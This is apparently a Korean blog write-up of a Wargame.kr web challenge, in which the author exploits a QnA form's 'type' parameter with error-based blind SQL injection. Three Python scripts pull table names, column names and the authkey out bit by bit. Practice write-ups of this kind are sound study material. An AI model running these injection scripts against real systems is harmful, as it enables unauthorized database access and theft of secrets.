2019. 4. 3. 18:38, 워게임/Wargame.kr
확인해보면 메뉴도 몇 개 있고 배경도 바뀌고 이래저래 정신이 없는데 to JSMaster라는 항목을 보면 여기서 문제가 생길 듯 합니다. (XSS도 될 것 같긴한데 잘 모르겠네요.)
이렇게 정보가 가는데, type=1에서 int가 가니까 아마 뭔가 취약점이 있을 것 같고
이렇게 보내보면 아무런 응답이 오지 않습니다. 그런데 정작 type = 1 and 234=23425로 보내면 응답이 오고.. 정확히 어떻게 생겨있는건지 잘 이해가 가지 않습니다. 뭐 아무튼 아래와 같이 보내보면
이렇게 응답이 옵니다. 그리고 if(0,1,(select 1 union select 2))를 하면 응답이 오지 않습니다. 이를 이용해 error based sql injection을 할 수 있을 것 같습니다.
이전과 같이 테이블명을 추출합시다.
import requests, json
def test(query):
# print(query)
url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
data = {'cont':'ss', 'mail':'guest', 'type':query}
res = requests.post(url,data=data)
#print(res.text, len(res.text))
return 'send' in res.text
table_name = ''
for i in range(50):
bb = ''
for j in range(8):
payload = "if((select substring(lpad(bin(ord(substring(table_name,{},1))),8,0),{},1) from information_schema.tables order by table_type limit 1)=0,1,(select 1 union select 2))".format(i+1,j+1)
#print(payload)
if test(payload): bb += '0'
else: bb += '1'
if bb == '00000000': break
print(bb)
table_name += chr(int(bb,2))
print(table_name)
print(table_name)
limit 1, limit 1,1 등으로 보니 authkey, message라는 테이블이 있었고 authkey, message에 있는 column들을 파악해봅시다.
import requests, json
def test(query):
# print(query)
url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
data = {'cont':'ss', 'mail':'guest', 'type':query}
res = requests.post(url,data=data)
#print(res.text, len(res.text))
return 'send' in res.text
column_name = ''
for i in range(50):
bb = ''
for j in range(8):
payload = "if((select substring(lpad(bin(ord(substring(column_name,{},1))),8,0),{},1) from information_schema.columns where table_name=0x617574686b6579 limit 1, 1)=0,1,(select 1 union select 2))".format(i+1,j+1)
#print(payload)
if test(payload): bb += '0'
else: bb += '1'
if bb == '00000000': break
print(bb)
column_name += chr(int(bb,2))
print(column_name)
print(column_name)
authkey에는 authkey가 있었고 message에는 idx, cont, mail, type이 있었습니다. 딱 봐도 authkey가 수상하네요. authkey table의 authkey column을 보면 끝납니다.
import requests, json
def test(query):
# print(query)
url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
data = {'cont':'ss', 'mail':'guest', 'type':query}
res = requests.post(url,data=data)
#print(res.text, len(res.text))
return 'send' in res.text
column_name = ''
for i in range(50):
bb = ''
for j in range(8):
payload = "if((select substring(lpad(bin(ord(substring(authkey,{},1))),8,0),{},1) from authkey limit 0, 1)=0,1,(select 1 union select 2))".format(i+1,j+1)
#print(payload)
if test(payload): bb += '0'
else: bb += '1'
if bb == '00000000': break
print(bb)
column_name += chr(int(bb,2))
print(column_name)
print(column_name)
'워게임 > Wargame.kr' 카테고리의 다른 글
[Wargame.kr] dmbs355 (0) | 2019.04.03 |
---|---|
[Wargame.kr] ip log table (0) | 2019.04.02 |
[Wargame.kr] SimpleBoard (0) | 2019.04.02 |
[Wargame.kr] web chatting (0) | 2019.03.29 |
Comments